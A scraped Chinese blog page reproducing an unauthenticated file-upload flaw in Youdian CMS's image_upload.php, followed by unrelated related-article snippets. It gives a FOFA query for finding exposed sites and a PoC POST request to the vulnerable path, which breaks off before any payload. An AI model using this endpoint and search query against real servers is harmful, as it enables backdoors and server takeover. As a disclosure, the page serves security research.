当前位置： 首页 > news >正文

友点CMS image_upload.php 文件上传漏洞复现

news 2025/9/18 15:30:36

0x01 产品简介

友点CMS是一款高效且灵活的网站管理系统，它为用户提供了简单易用的界面和丰富的功能。无论是企业还是个人，都能通过友点CMS快速搭建出专业且美观的网站。该系统支持多种内容类型和自定义模板，方便用户按需调整。同时，它具备强大的SEO功能，能提升网站在搜索引擎中的排名。友点CMS还支持多语言设置，适应国际化需求。总的来说，友点CMS是网站建设的理想选择，既高效又易用。

0x02 漏洞概述

友点CMS建站系统image_upload.php 接口处存在文件上传漏洞，未经身份认证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

0x03 复现环境

FOFA：app="友点建站-CMS"

0x04 漏洞复现

PoC

POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59H
Accept-Encoding: gzip
Connection: close------WebKitFormBoundarydAPjrmyKewWuf

相关文章：

友点CMS image_upload.php 文件上传漏洞复现

0x01 产品简介 友点CMS是一款高效且灵活的网站管理系统，它为用户提供了简单易用的界面和丰富的功能。无论是企业还是个人，都能通过友点CMS快速搭建出专业且美观的网站。该系统支持多种内容类型和自定义模板，方便用户按需调整。同时，它具备强大的SEO功能，能提升网站在搜索…...

编程日记 2024/2/21 4:39:44

C语言—指针(3)

嘿嘿嘿嘿，你看我像指针吗? 不会写，等我啥时候会写了再说吧，真的累了，倦了 1.面试题 1）定义整形变量i； 2）p为指向整形变量的指针变量； 3）定…...

编程日记 2024/2/21 4:38:43

【八股文】面向对象基础

【八股文】面向对象基础 面向对象和面向过程的区别 面向过程把解决问题的过程拆成一个个方法，通过一个个方法的执行解决问题。面向对象会先抽象出对象，然后用对象执行方法的方式解决问题。 创建一个对象用什么运算符?对象实体与对象引用有何不同? …...

编程日记 2024/2/21 4:36:40

Day49 647 回文子串 516 最长回文子序列

647 回文子串 给定一个字符串，你的任务是计算这个字符串中有多少个回文子串。 具有不同开始位置或结束位置的子串，即使是由相同的字符组成，也会被视作不同的子串。 方法一：动态规划： 采用一个二维的dp数组&#xf…...

编程日记 2024/2/21 4:34:38

探秘GNU/Linux Shell：命令行的魔法世界

GNU/Linux的Shell是一种特殊的交互式工具，为用户提供了强大的控制和管理Linux系统的方式。在这个博客中，我们将深入了解Shell的基本概念、功能以及不同类型的Shell。 Shell的本质 Shell的核心是命令行提示符，它是用户与Linux系统进行交互的…...

编程日记 2024/2/21 4:30:35

基于STM32F407的coreJSON使用教程

目录 概述 工程建立 代码集成 函数介绍 使用示例 概述 coreJSON是FreeRTOS中的一个组件库，支持key查找的解析器，他只是一个解析器，不能生成json数据。同时严格执行 ECMA-404 JSON 标准。该库用 C 语言编写，设计符合 ISO C90…...

编程日记 2024/2/21 4:27:29

keepalived双主模式测试

文章目录 环境准备部署安装keepavlived配置启动测试模拟Nginx宕机重新启动问题分析 环境准备 测试一下keepalived的双主模式，所谓双主模式就是两个keepavlied节点各持有一个/组虚IP，默认情况下，二者互为主备，同时对外提供服务&am…...

编程日记 2024/2/21 4:26:28

微服务中的熔断、降级和限流

在现代微服务架构中，熔断、降级和限流是保障系统稳定性和可靠性的重要手段。本文将深入探讨这三种机制在微服务架构中的作用、原理以及实践方法。 1. 熔断（Circuit Breaker） 1.1 作用和原理 熔断器是一种可以在服务发生故障时快速中断请求的机制，防止故障蔓延到整个系统…...

编程日记 2024/2/21 4:25:27

2023年便宜的云服务器分享：最低26元4核16G

2024年阿里云服务器租用价格表更新，云服务器ECS经济型e实例2核2G、3M固定带宽99元一年、ECS u1实例2核4G、5M固定带宽、80G ESSD Entry盘优惠价格199元一年，轻量应用服务器2核2G3M带宽轻量服务器一年61元、2核4G4M带宽轻量服务器一年165元12个月、2核4G服…...

编程日记 2024/2/21 4:22:25

汽车零部件制造业MES系统解决方案

一、​汽车零部件行业现状 随着全球汽车产业不断升级，汽车零部件市场竞争日趋激烈，从上游的钢铁、塑料、橡胶等生产到下游的主机厂配套制造，均已成为全球各国汽车制造大佬战略目标调整的焦点，其意欲在汽车零部件行业快速开疆扩土&…...

编程日记 2024/2/21 4:19:21

区块链/加密币/敏感/特殊题材专供外媒发稿，英文多国语言海外新闻营销推广

【本篇由言同数字科技有限公司原创】敏感题材是海外媒体在报道过程中常遇到的难题，需要平衡新闻真实性、公正性与敏感性。本文将探讨海外媒体报道敏感题材所面临的挑战，并介绍如何抓住机遇提高报道质量。 第一部分：敏感题材报道的挑战 报道…...

编程日记 2024/2/21 4:16:19

初识Nginx

摘要：最近几个项目中的接口总是访问受限，需要后端同事配置Nginx代理，了解下Nginx后面自己配置。 Nginx 是一款高性能的开源 Web 服务器和反向代理服务器。它具有轻量级、高并发、低内存消耗等特点，常被用作静态资源服务、负载…...

编程日记 2024/2/21 4:14:17

Rust语言之多线程

文章目录 一、简介二、创建线程1.创建一个线程2.创建多个线程生成随机数尝试让程序睡一会儿引入多线程 三、线程返回值的处理1.每个线程处理一个独立的值2.多个线程处理一个值Arc（原子引用计数）Mutex（互斥锁）RwLock（读…...

编程日记 2024/2/21 4:11:14

现有的通用模型中融入少量中文数据没有太大意义少量的数据就能影响整个大模型

相关链接：只修改一个关键参数，就会毁了整个百亿参数大模型？ | 新程序员-CSDN博客 现象 1：mBERT 模型的跨语言迁移 现象 2：大语言模型同样存在显著的语言对齐 现象 3：知识与语言分离 现象 4：…...

编程日记 2024/2/21 4:06:09

vscode 开发代码片段插件

环境准备 node - 20v版本 ，推荐使用nvm进行版本控制全局安装 "yo" 是 Yeoman 工具的命令行工具， npm i yo -g全局安装 generator-code 是一个 Yeoman 脚手架 gernerator-code npm i gernerator-code -g全局安装 npm install -g vsce官方文档 …...

编程日记 2024/2/21 4:04:07

算法竞赛STL：array的使用方法

算法竞赛STL：array的使用方法 文章目录 算法竞赛STL：array的使用方法array array 容器描述： array是一种固定大小的容器，它包含指定数量的元素。每个元素都有一个非负整数索引，用于访问或修改它。 使用方法&#xff…...

编程日记 2024/2/21 4:03:06

MyBatis sql拦截器实现一个自动根据租户进行分表的方案

需求描述： 在一个多租户系统中，通过 MyBatis 实现动态数据表分离。具体来说，您希望通过 MyBatis 拦截器在执行 SQL 时自动将表名根据当前租户 ID (tenantId) 进行修改。这样，每个租户的数据就可以存储在专属于它们的表中&#xf…...

编程日记 2024/2/21 4:01:03

TiDB in 2023， 一次简单的回顾丨PingCAP 唐刘

2023 年已经过去，TiDB 经过了一年的迭代，又往前进步了一点点，我们非常自豪的看到，TiDB 正在不断地帮助我们的客户成功，包括但不限于： ○ 首个云原生、分布式、全栈国产化银行核心业务系统投产上线丨TiDB …...

编程日记 2024/2/21 3:58:01

debug - 只要在内存中有显示相关的数据, 就会被CE找到

文章目录 debug - 只要在内存中有显示相关的实际数据, 就会被CE找到概述笔记demo实现demo运行效果用CE查找实际数据地址找到自己的调试点 - 方法1找到自己的调试点 - 方法2打补丁备注END debug - 只要在内存中有显示相关的实际数据, 就会被CE找到 概述 自己写了一个demo, 想验…...

编程日记 2024/2/21 3:54:59

Redis 单个与多节点如何实现分布式锁

分布式锁 在许多环境中，分布式锁是非常有用的原语，在这些环境中，不同的进程必须以互斥的方式操作共享资源。在应对并发问题时，Redis 客户端还可以通过加锁的方式，来控制并发写操作对共享数据的修改，从而保…...

编程日记 2024/2/21 3:53:58

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明：假设每台服务器已…...

编程新知 2025/9/17 11:41:14

HTML 语义化

目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案&#xff1a; 语义化标签&#xff1a; <header>&#xff1a;页头<nav>&#xff1a;导航<main>&#xff1a;主要内容<article>&#x…...

编程新知 2025/8/7 7:40:03

oracle与MySQL数据库之间数据同步的技术要点

Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异&#xff0c;它们的数据同步要求既要保持数据的准确性和一致性&#xff0c;又要处理好性能问题。以下是一些主要的技术要点&#xff1a; 数据结构差异 数据类型差异&#xff…...

编程新知 2025/8/12 3:03:43

【2025年】解决Burpsuite抓不到https包的问题

环境&#xff1a;windows11 burpsuite:2025.5 在抓取https网站时&#xff0c;burpsuite抓取不到https数据包&#xff0c;只显示&#xff1a; 解决该问题只需如下三个步骤&#xff1a; 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

编程新知 2025/8/22 19:54:36

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

编程新知 2025/8/9 0:31:20

Unit 1 深度强化学习简介

Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库&#xff0c;例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体&#xff0c;比如 SnowballFight、Huggy the Do…...

编程新知 2025/9/18 1:39:03

mysql已经安装，但是通过rpm -q 没有找mysql相关的已安装包

文章目录 现象&#xff1a;mysql已经安装&#xff0c;但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时&#xff0c;可能是因为以下几个原因&#xff1a;1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...

编程新知 2025/9/12 23:21:56

免费PDF转图片工具

免费PDF转图片工具 一款简单易用的PDF转图片工具&#xff0c;可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件&#xff0c;也不需要在线上传文件&#xff0c;保护您的隐私。 工具截图 主要特点 &#x1f680; 快速转换&#xff1a;本地转换&#xff0c;无需等待上…...

编程新知 2025/9/5 6:01:52

【Linux】Linux 系统默认的目录及作用说明

博主介绍&#xff1a;✌全网粉丝23W&#xff0c;CSDN博客专家、Java领域优质创作者&#xff0c;掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围&#xff1a;SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...

编程新知 2025/9/5 16:57:18

Git 3天2K星标：Datawhale 的 Happy-LLM 项目介绍（附教程）

引言 在人工智能飞速发展的今天&#xff0c;大语言模型&#xff08;Large Language Models, LLMs&#xff09;已成为技术领域的焦点。从智能写作到代码生成&#xff0c;LLM 的应用场景不断扩展&#xff0c;深刻改变了我们的工作和生活方式。然而&#xff0c;理解这些模型的内部…...

编程新知 2025/9/2 3:21:36